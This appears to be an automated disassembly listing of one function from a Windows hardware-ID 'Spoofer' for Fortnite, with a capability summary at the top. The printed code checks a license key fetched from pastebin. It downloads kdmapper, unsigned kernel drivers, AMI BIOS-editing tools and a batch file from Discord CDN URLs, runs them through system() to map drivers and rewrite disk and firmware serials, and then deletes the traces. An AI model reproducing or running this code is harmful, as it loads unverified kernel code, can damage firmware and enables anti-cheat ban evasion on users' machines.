Function at 0x1400303a0
Capabilities:
Delete file
Download url
Execute command
Receive data
Terminate process

Disassembly:
push rbp
push rbx
push rdi
push r15
lea rbp, [rsp - 0x238]
sub rsp, 0x338
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x168]
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rax, [0x140030030]
mov dword [rbp + 0xf0], 0x50
xor edi, edi
mov qword [rbp + 0xf8], rax
xor ecx, ecx
mov dword [rbp + 0xf4], 0x40
mov qword [rbp + 0x100], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
mov qword [rbp + 0x138], rdi
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x110], xmm0
lea rbx, [0x14003e1c0]
movdqa xmmword [rbp + 0x120], xmm1
lea rcx, [rbp + 0xf0]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x130], rbx
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov rcx, qword [rbp + 0x108]
mov r8, rbx
mov eax, dword [rbp + 0x174]
cdq
mov qword [rsp + 0x58], rdi
sub eax, edx
mov qword [rsp + 0x50], rcx
sar eax, 1
xor ecx, ecx
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x38], 0xb4
lea r9d, [rax - 0x5a]
mov dword [rsp + 0x30], 0x15e
mov eax, dword [rbp + 0x170]
cdq
mov dword [rsp + 0x28], r9d
sub eax, edx
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x130]
sar eax, 1
sub eax, 0xaf
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea r9d, [rdi + 1]
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov r15, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
lea ecx, [rdi + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov qword [0x140045408], rax
mov rcx, rax
test rax, rax
je 0x140032604
lea rdx, [0x140045410]
mov qword [0x140045420], rdi
mov qword [rsp + 0x30], rdx
lea r8d, [rdi + 1]
lea rdx, [0x140045420]
mov qword [0x14004542c], rdi
mov qword [rsp + 0x28], rdx
mov r9, r15
mov dword [0x140045434], edi
xor edx, edx
mov qword [0x14004543c], rdi
mov dword [0x140045444], edi
mov qword [0x140045454], rdi
mov dword [0x140045448], 1
mov dword [0x140045438], 1
mov dword [0x140045428], edi
mov dword [0x14004544c], 1
mov dword [0x140045450], 0x50
mov dword [0x14004545c], 0x80000000
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x1400325fd
mov qword [rsp + 0x360], rsi
lea edx, [rdi + 0xa]
mov qword [rsp + 0x368], r12
mov rcx, r15
mov qword [rsp + 0x370], r13
mov qword [rsp + 0x330], r14
movaps xmmword [rsp + 0x320], xmm6
movaps xmmword [rsp + 0x310], xmm7
movaps xmmword [rsp + 0x300], xmm8
movaps xmmword [rsp + 0x2f0], xmm9
movaps xmmword [rsp + 0x2e0], xmm10
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, r15
call qword [sym.imp.USER32.dll_UpdateWindow]
mov dword [rsp + 0x30], 3
lea rdx, [rdi - 1]
mov dword [rsp + 0x28], edi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], edi
mov rcx, r15
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rax, qword [0x1400453a0]
test rax, rax
je 0x140030608
inc dword [rax + 0x3bc]
mov rdx, qword [0x140045390]
mov ecx, 0x3e88
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
test rax, rax
je 0x14003062a
xor edx, edx
mov rcx, rax
call fcn.140001250
jmp 0x14003062d
mov rax, rdi
cmp qword [0x1400453a0], rdi
jne 0x14003063d
mov qword [0x1400453a0], rax
mov rcx, rax
call fcn.140006c60
mov rcx, qword [0x1400453a0]
test rcx, rcx
jne 0x140030672
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1400453a0]
movss xmm2, dword [0x14003f638]
lea rax, [0x14003d7a8]
mov rcx, qword [rcx + 0xa8]
mov qword [rsp + 0x20], rax
call fcn.140021950
xor ecx, ecx
call fcn.14001d110
lea rcx, [0x140045400]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x1400307bb
lea rcx, [0x1400453f8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x1400307bb
mov rax, qword [0x1400453a0]
mov qword [0x1400453f0], r15
test rax, rax
jne 0x1400306f7
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1400453a0]
or dword [rax + 0xc], 6
lea rcx, str.imgui_impl_win32
mov qword [rax + 0xd8], rcx
mov qword [rax + 0x120], r15
mov dword [rax + 0x3c], 9
mov dword [rax + 0x40], 0x25
mov dword [rax + 0x44], 0x27
mov dword [rax + 0x48], 0x26
mov dword [rax + 0x4c], 0x28
mov dword [rax + 0x50], 0x21
mov dword [rax + 0x54], 0x22
mov dword [rax + 0x58], 0x24
mov dword [rax + 0x5c], 0x23
mov dword [rax + 0x60], 0x2d
mov dword [rax + 0x64], 0x2e
mov dword [rax + 0x68], 8
mov dword [rax + 0x6c], 0x20
mov dword [rax + 0x70], 0xd
mov dword [rax + 0x74], 0x1b
mov dword [rax + 0x78], 0xd
mov dword [rax + 0x7c], 0x41
mov dword [rax + 0x80], 0x43
mov dword [rax + 0x84], 0x56
mov dword [rax + 0x88], 0x58
mov dword [rax + 0x8c], 0x59
mov dword [rax + 0x90], 0x5a
jmp 0x1400307c2
mov rax, qword [0x1400453a0]
mov rbx, qword [0x140045410]
test rax, rax
jne 0x1400307ef
mov r8d, 0xcae
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1400453a0]
or dword [rax + 0xc], 8
lea rcx, str.imgui_impl_dx9
mov qword [rax + 0xe0], rcx
mov rcx, rbx
mov rax, qword [rbx]
mov qword [0x1400453d8], rbx
call qword [rax + 8]
mov rbx, qword [0x1400453a0]
test rbx, rbx
jne 0x14003083e
mov r8d, 0x8d1
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1400453a0]
mov dword [rbx + 0x1574], edi
mov dword [rbx + 0x15a8], 0x40400000
mov dword [rbx + 0x1584], 0x3f000000
mov dword [rbx + 0x1588], 0x3f000000
test rbx, rbx
jne 0x140030888
mov r8d, 0x8d1
lea rdx, str.C:UsersFortnDownloadsSpooferSpooferimguiimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1400453a0]
xor ecx, ecx
call fcn.14001d110
mov dword [rbx + 0x1620], 0x3f5c28f6
mov dword [rbx + 0x1624], 0x3f6e147b
mov dword [rbx + 0x1628], 0x3f63d70a
mov dword [rbx + 0x162c], 0x3f47ae14
mov dword [rbx + 0x1630], 0x3f5c28f6
mov dword [rbx + 0x1634], 0x3f6e147b
mov dword [rbx + 0x1638], 0x3f63d70a
mov dword [rbx + 0x163c], 0x3e8f5c29
mov dword [rbx + 0x1640], 0x3e051eb8
mov dword [rbx + 0x1644], 0x3e0f5c29
mov dword [rbx + 0x1648], 0x3e2e147b
mov dword [rbx + 0x164c], 0x3f800000
mov dword [rbx + 0x1670], 0x3e9eb852
mov dword [rbx + 0x1674], 0x3e9eb852
mov qword [rbx + 0x1678], 0x3f800000
mov qword [rbx + 0x1680], rdi
mov qword [rbx + 0x1688], rdi
mov dword [rbx + 0x1690], 0x3e4ccccd
mov dword [rbx + 0x1694], 0x3e6147ae
mov dword [rbx + 0x1698], 0x3e8a3d71
mov dword [rbx + 0x169c], 0x3f800000
mov dword [rbx + 0x16a0], 0x3f6b851f
mov dword [rbx + 0x16a4], 0x3e3851ec
mov dword [rbx + 0x16a8], 0x3e947ae1
mov dword [rbx + 0x16ac], 0x3f47ae14
mov dword [rbx + 0x16b0], 0x3f6b851f
mov dword [rbx + 0x16b4], 0x3e3851ec
mov dword [rbx + 0x16b8], 0x3e947ae1
mov dword [rbx + 0x16bc], 0x3f800000
mov dword [rbx + 0x16c0], 0x3e4ccccd
mov dword [rbx + 0x16c4], 0x3e6147ae
mov dword [rbx + 0x16c8], 0x3e8a3d71
mov dword [rbx + 0x16cc], 0x3f800000
mov dword [rbx + 0x16e0], 0x3e4ccccd
mov dword [rbx + 0x16e4], 0x3e6147ae
mov dword [rbx + 0x16e8], 0x3e8a3d71
mov dword [rbx + 0x16ec], 0x3f400000
mov dword [rbx + 0x16d0], 0x3f6b851f
mov dword [rbx + 0x16d4], 0x3e3851ec
mov dword [rbx + 0x16d8], 0x3e947ae1
mov dword [rbx + 0x16dc], 0x3f800000
mov dword [rbx + 0x16f0], 0x3e4ccccd
mov dword [rbx + 0x16f4], 0x3e6147ae
mov dword [rbx + 0x16f8], 0x3e8a3d71
mov dword [rbx + 0x16fc], 0x3ef0a3d7
mov dword [rbx + 0x1700], 0x3e4ccccd
mov dword [rbx + 0x1704], 0x3e6147ae
mov dword [rbx + 0x1708], 0x3e8a3d71
mov dword [rbx + 0x170c], 0x3f800000
mov dword [rbx + 0x1710], 0x3db851ec
mov dword [rbx + 0x1714], 0x3e19999a
mov dword [rbx + 0x1718], 0x3e23d70a
mov dword [rbx + 0x171c], 0x3f800000
mov dword [rbx + 0x1720], 0x3f6b851f
mov dword [rbx + 0x1724], 0x3e3851ec
mov dword [rbx + 0x1728], 0x3e947ae1
mov dword [rbx + 0x172c], 0x3f47ae14
mov dword [rbx + 0x1730], 0x3f6b851f
mov dword [rbx + 0x1734], 0x3e3851ec
mov dword [rbx + 0x1738], 0x3e947ae1
mov dword [rbx + 0x173c], 0x3f800000
mov dword [rbx + 0x1740], 0x3f35c28f
mov dword [rbx + 0x1744], 0x3e6147ae
mov dword [rbx + 0x1748], 0x3e8a3d71
mov dword [rbx + 0x174c], 0x3f800000
mov dword [rbx + 0x1750], 0x3ef0a3d7
mov dword [rbx + 0x1754], 0x3f451eb8
mov dword [rbx + 0x1758], 0x3f547ae1
mov dword [rbx + 0x175c], 0x3e0f5c29
mov dword [rbx + 0x1760], 0x3f6b851f
mov dword [rbx + 0x1764], 0x3e3851ec
mov dword [rbx + 0x1768], 0x3e947ae1
mov dword [rbx + 0x176c], 0x3f800000
mov dword [rbx + 0x1770], 0x3ef0a3d7
mov dword [rbx + 0x1774], 0x3f451eb8
mov dword [rbx + 0x1778], 0x3f547ae1
mov dword [rbx + 0x177c], 0x3e0f5c29
mov dword [rbx + 0x1780], 0x3f6b851f
mov dword [rbx + 0x1784], 0x3e3851ec
mov dword [rbx + 0x1788], 0x3e947ae1
xor eax, eax
mov dword [rbx + 0x178c], 0x3f5c28f6
xorps xmm0, xmm0
mov dword [rbx + 0x1790], 0x3f6b851f
xor sil, sil
mov dword [rbx + 0x1794], 0x3e3851ec
mov dword [rbx + 0x1798], 0x3e947ae1
lea ecx, [rax + 0x30]
mov dword [rbx + 0x179c], 0x3f800000
mov dword [rbx + 0x17a0], 0x3f6b851f
mov dword [rbx + 0x17a4], 0x3e3851ec
mov dword [rbx + 0x17a8], 0x3e947ae1
mov dword [rbx + 0x17ac], 0x3f428f5c
mov dword [rbx + 0x17b0], 0x3f6b851f
mov dword [rbx + 0x17b4], 0x3e3851ec
mov dword [rbx + 0x17b8], 0x3e947ae1
mov dword [rbx + 0x17bc], 0x3f5c28f6
mov dword [rbx + 0x17c0], 0x3f6b851f
mov dword [rbx + 0x17c4], 0x3e3851ec
mov dword [rbx + 0x17c8], 0x3e947ae1
mov dword [rbx + 0x17cc], 0x3f800000
mov dword [rbx + 0x17d0], 0x3e0f5c29
mov dword [rbx + 0x17d4], 0x3e23d70a
mov dword [rbx + 0x17d8], 0x3e428f5c
mov dword [rbx + 0x17dc], 0x3f800000
mov dword [rbx + 0x17e0], 0x3f6b851f
mov dword [rbx + 0x17e4], 0x3e3851ec
mov dword [rbx + 0x17e8], 0x3e947ae1
mov dword [rbx + 0x17ec], 0x3f47ae14
mov dword [rbx + 0x17f0], 0x3f6b851f
mov dword [rbx + 0x17f4], 0x3e3851ec
mov dword [rbx + 0x17f8], 0x3e947ae1
mov dword [rbx + 0x17fc], 0x3f800000
mov dword [rbx + 0x1800], 0x3ef0a3d7
mov dword [rbx + 0x1804], 0x3f451eb8
mov dword [rbx + 0x1808], 0x3f547ae1
mov dword [rbx + 0x180c], 0x3d23d70a
mov dword [rbx + 0x1810], 0x3f6b851f
mov dword [rbx + 0x1814], 0x3e3851ec
mov dword [rbx + 0x1818], 0x3e947ae1
mov dword [rbx + 0x181c], 0x3f47ae14
mov dword [rbx + 0x1820], 0x3f6b851f
mov dword [rbx + 0x1824], 0x3e3851ec
mov dword [rbx + 0x1828], 0x3e947ae1
mov dword [rbx + 0x182c], 0x3f800000
mov dword [rbx + 0x1880], 0x3f5c28f6
mov dword [rbx + 0x1884], 0x3f6e147b
mov dword [rbx + 0x1888], 0x3f63d70a
mov dword [rbx + 0x188c], 0x3f2147ae
mov dword [rbx + 0x1890], 0x3f6b851f
mov dword [rbx + 0x1894], 0x3e3851ec
mov dword [rbx + 0x1898], 0x3e947ae1
mov dword [rbx + 0x189c], 0x3f800000
mov dword [rbx + 0x18a0], 0x3f5c28f6
mov dword [rbx + 0x18a4], 0x3f6e147b
mov dword [rbx + 0x18a8], 0x3f63d70a
mov dword [rbx + 0x18ac], 0x3f2147ae
mov dword [rbx + 0x18b0], 0x3f6b851f
mov dword [rbx + 0x18b4], 0x3e3851ec
mov dword [rbx + 0x18b8], 0x3e947ae1
mov dword [rbx + 0x18bc], 0x3f800000
mov dword [rbx + 0x18c0], 0x3f6b851f
mov dword [rbx + 0x18c4], 0x3e3851ec
mov dword [rbx + 0x18c8], 0x3e947ae1
mov dword [rbx + 0x18cc], 0x3edc28f6
mov dword [rbx + 0x1660], 0x3e4ccccd
mov dword [rbx + 0x1664], 0x3e6147ae
mov dword [rbx + 0x1668], 0x3e8a3d71
mov dword [rbx + 0x166c], 0x3f666666
mov byte [rbp + 0xd0], dil
movups xmmword [rbp + 0xd1], xmm0
mov qword [rbp + 0xe1], rax
movups xmmword [rbp + 0x140], xmm0
mov byte [rsp + 0x60], sil
call fcn.140033188
movups xmm0, xmmword [str.https:__pastebin.com_raw_2cE2y5FK]
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x150], 0x21
mov qword [rbp + 0x158], 0x2f
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x14003e200]
lea rdx, [rbp + 0x140]
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x14003e210]
mov byte [rax + 0x20], cl
lea rcx, [rbp + 0x188]
mov byte [rax + 0x21], sil
call fcn.140030180
mov r13, qword [rbp + 0x198]
xorps xmm0, xmm0
mov r12, qword [rbp + 0x188]
movabs rbx, 0x7fffffffffffffff
movsd xmm6, qword [0x14003f658]
movabs r14, 0x311cdad160000
movss xmm9, dword [0x14003f66c]
xorps xmm7, xmm7
movss xmm10, dword [0x14003f660]
movss xmm8, dword [0x14003f5e8]
movups xmmword [rbp + 0x1a8], xmm0
mov byte [rsp + 0x61], sil
movups xmmword [rbp + 0x1b8], xmm0
movups xmmword [rbp + 0x1c8], xmm0
nop dword [rax]
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x1a8]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x140030f60
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x1a8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x14003242a
cmp byte [0x14004508c], 0
je 0x1400325f4
lea rcx, [rbp + 0xc8]
call fcn.14002fd90
mov rdi, qword [rbp + 0xc8]
movabs rax, 0x7ffffffffeced2ff
cmp rdi, rax
jge 0x140030f98
add rdi, 0x1312d00
jmp 0x140030f9b
mov rdi, rbx
lea rcx, [rbp - 0x18]
call fcn.14002fd90
mov rbx, qword [rbp - 0x18]
cmp rbx, rdi
jge 0x14003104c
movabs rsi, 0x112e0be826d694b3
nop dword [rax + rax]
call qword [sym.imp.MSVCP140.dll__Xtime_get_ticks]
mov rdx, rdi
xorps xmm0, xmm0
sub rdx, rbx
imul rax, rax, 0x64
cvtsi2sd xmm0, rdx
comisd xmm0, xmm6
lea rcx, [rax + r14]
seta r9b
test r9b, r9b
jne 0x140030fed
lea rcx, [rax + rdx]
add rdx, rax
lea r8, [rax + r14]
test r9b, r9b
mov rax, rsi
cmove r8, rdx
imul r8
sar rdx, 0x1a
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul eax, edx, 0x3b9aca00
mov qword [rbp + 0x178], rdx
sub ecx, eax
mov dword [rbp + 0x180], ecx
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll__Thrd_sleep]
lea rcx, [rbp - 0x18]
call fcn.14002fd90
mov rbx, qword [rbp - 0x18]
cmp rbx, rdi
jl 0x140030fc0
movzx esi, byte [rsp + 0x60]
cmp qword [0x1400453c8], 0
jne 0x14003105b
call fcn.14002f050
call fcn.14002f720
call fcn.140005fb0
mov rax, qword [0x1400453a0]
lea rdx, [0x14004508c]
movaps xmm0, xmm9
movaps xmm1, xmm7
unpcklps xmm0, xmm10
mov r8d, 0x13e
unpcklps xmm1, xmm7
movsd qword [rax + 0x1b48], xmm0
movaps xmm0, xmm7
mov dword [rax + 0x1b30], 2
or dword [rax + 0x1b28], 3
unpcklps xmm0, xmm7
movsd qword [rax + 0x1b38], xmm0
movsd qword [rax + 0x1b40], xmm1
mov dword [rax + 0x1b2c], 2
test sil, sil
jne 0x14003122a
lea rcx, str.Ceos_Den
call fcn.14000ac10
mov rcx, qword [0x1400453a0]
mov rax, qword [rcx + 0x1a88]
mov byte [rax + 0x80], 1
mov rax, qword [rcx + 0x1a88]
cmp byte [rax + 0x83], sil
jne 0x14003113a
movss xmm1, dword [rcx + 0x15a4]
movss xmm0, dword [rax + 0xf4]
addss xmm1, xmm1
addss xmm1, dword [rcx + 0x1928]
maxss xmm0, xmm1
movss xmm1, dword [rax + 0x100]
movss dword [rax + 0xf4], xmm0
maxss xmm1, dword [rcx + 0x15a4]
movss dword [rax + 0x100], xmm1
lea rcx, str.Enter_Key:
call fcn.140027490
xor edi, edi
mov qword [rbp + 0x90], 0
mov qword [rsp + 0x38], rdi
lea rax, [rbp + 0x90]
mov qword [rsp + 0x30], rdi
lea r8, [rbp + 0xd0]
mov dword [rsp + 0x28], edi
lea rcx, str.username
lea r9d, [rdi + 0x19]
mov qword [rsp + 0x20], rax
xor edx, edx
call fcn.14002b450
lea rdx, [rbp + 0x98]
mov qword [rbp + 0x98], rdi
lea rcx, str.Get_Key
call fcn.140027d30
test al, al
je 0x1400311b1
lea rcx, str.start_https:__justpaste.it_bahj3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0xa0]
mov qword [rbp + 0xa0], rdi
lea rcx, str.Login
call fcn.140027d30
test al, al
je 0x14003232d
lea rcx, [rbp + 0xd0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], dil
jne 0x1400311e1
cmp qword [rbp + 0x1a0], 0xf
lea rcx, [rbp + 0x188]
cmova rcx, r12
cmp r13, rax
jne 0x14003232d
mov r8, r13
lea rdx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14003232d
mov sil, 1
mov byte [rsp + 0x60], sil
jmp 0x14003232d
lea rcx, str.Client__Ceos_Den_FREE
call fcn.14000ac10
lea rdx, [rsp + 0x61]
call fcn.140028fc0
lea rdx, [rbp + 0xa8]
mov qword [rbp + 0xa8], 0
lea rcx, str.Temp_Spoof
call fcn.140027d30
xor edi, edi
test al, al
je 0x14003136e
xor r9d, r9d
mov qword [rsp + 0x20], rdi
xor ecx, ecx
cmp byte [rsp + 0x61], cl
jne 0x1400312e3
lea r8, [0x14003e428]
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196614522463588352_s.sys_ex65b8451eis65a5d01ehm985c53522e055397cfd47c4857a017fe94770b31fbfecc5d312370dce6ab07f7
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [0x14003e5f0]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196441335377432708_kdmapper_Release.exe_ex65b7a3d3is65a52ed3hm1bc191ac17acd0d94c4126cb7d1d61ca3a21ea5eca34b5022169ce62a3a8ef1c
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_s.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files_s.sys
jmp 0x14003134c
lea r8, [0x14003e8a0]
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196460832754769960_346c3463c4.sys_ex65b7b5fbis65a540fbhmc2d234ea687a527fe8791a75ce933da8f4e27473ffd6f4a9497ef25a3d4676b4
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [0x14003e5f0]
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196441335377432708_kdmapper_Release.exe_ex65b7a3d3is65a52ed3hm1bc191ac17acd0d94c4126cb7d1d61ca3a21ea5eca34b5022169ce62a3a8ef1c
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__kdmapper_Release.exe_346c3463c4.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:Program_Fileskdmapper_Release.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Program_Files346c3463c4.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov r9d, 0x40040
lea r8, [0x14003e150]
lea rdx, str.Done_Spoofing__Use_applecleaner_or_launch_fn
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rbp + 0xb0]
mov qword [rbp + 0xb0], 0
lea rcx, str.Perm_Spoof__testing_
call fcn.140027d30
test al, al
je 0x1400322c0
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesAMIDEWINx64.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196442391322837013_AMIDEWINx64.exe_ex65b7a4ceis65a52fcehm4963c60abee3484ea5a5f07baad74b0a931afe4b402b9dc226a6691d9a1cd3d4
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_Files_amigendrv64.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196442390764982342_amigendrv64.sys_ex65b7a4ceis65a52fcehmc01cbe970356095625afdc5039ce2b05955c9de86229153a859e2ab82e2097c0
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_Files_amifldrv64.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196442391616426084_amifldrv64.sys_ex65b7a4ceis65a52fcehm709c721826545f4bffbe56a03adbb1bca8ac01e4ecde6cd778e7c34a355da5a1
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesVolumeid64.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196442391930994809_Volumeid64.exe_ex65b7a4cfis65a52fcfhma5e80fd3c592a0e51cde5bfffbca938d775b6ada235cd54fd0e83265d4442abb
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_FilesVolumeid.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196442392283332659_Volumeid.exe_ex65b7a4cfis65a52fcfhmc39f73ea3bd08484fcaadaca6386312bcd53b2e6696776083053da8ba4a2ecbf
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, str.C:Program_Files236.bat
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1196440286671425616_1196442391050190848_236.bat_ex65b7a4ceis65a52fcehm8ab496bbbf339d0bd8a324d2ca4ac16efa3e293aff128dc53e0f3ee30f43e8e7
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.cd_C:Program_Files__start_236.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov esi, eax
mov eax, 0x7482296b
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2328
sub esi, eax
add esi, 0x3e8
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r14d, eax
lea rcx, [rbp - 0x38]
mov eax, 0x7482296b
imul r14d
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2328
sub r14d, eax
add r14d, 0x3e8
mov edx, r14d
call fcn.140032740
mov edx, esi
lea rcx, [rbp - 0x10]
call fcn.140032740
mov rcx, qword [rbp + 8]
mov r8, qword [rbp]
mov rax, rcx
sub rax, r8
cmp rax, 0x23
jb 0x14003157e
lea rax, [r8 + 0x23]
cmp rcx, 0xf
lea rbx, [rbp - 0x10]
mov qword [rbp], rax
cmova rbx, qword [rbp - 0x10]
lea rax, [0x14003f42b]
cmp rax, rbx
jbe 0x140031530
lea rax, [rbx + r8]
lea rcx, str.cd_C:Program_Files__Volumeid_C:
cmp rcx, rax
ja 0x140031530
cmp rbx, rcx
jbe 0x140031535
mov rdi, rbx
sub rdi, rcx
jmp 0x140031535
mov edi, 0x23
inc r8
lea rcx, [rbx + 0x23]
mov rdx, rbx
call sub.VCRUNTIME140.dll_memmove
mov r8, rdi
lea rdx, str.cd_C:Program_Files__Volumeid_C:
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea rdx, str.cd_C:Program_Files__Volumeid_C:
mov r8d, 0x23
add rdx, 0x23
lea rcx, [rbx + rdi]
add rdx, rdi
sub r8, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp - 0x10]
xor edi, edi
jmp 0x1400315a1
lea rax, str.cd_C:Program_Files__Volumeid_C:
mov qword [rsp + 0x28], 0x23
mov edx, 0x23
mov qword [rsp + 0x20], rax
lea rcx, [rbp - 0x10]
call fcn.140032c90
mov qword [rsp + 0x78], rdi
lea rdx, [0x14003d9bc]
mov qword [rbp - 0x80], rdi
lea rcx, [rsp + 0x68]
xorps xmm0, xmm0
mov r8d, 1
movups xmmword [rsp + 0x68], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
call fcn.140032660
lea r9, [rbp - 0x38]
lea r8, [rbp - 0x58]
lea rcx, [rbp - 0x78]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov qword [rax + 0x10], rdi
movups xmmword [rbp - 0x58], xmm0
mov qword [rax + 0x18], 0xf
movups xmmword [rbp - 0x48], xmm1
mov byte [rax], 0
call fcn.140032a90
cmp qword [rbp - 0x60], 0xf
lea rcx, [rbp - 0x78]
cmova rcx, qword [rbp - 0x78]
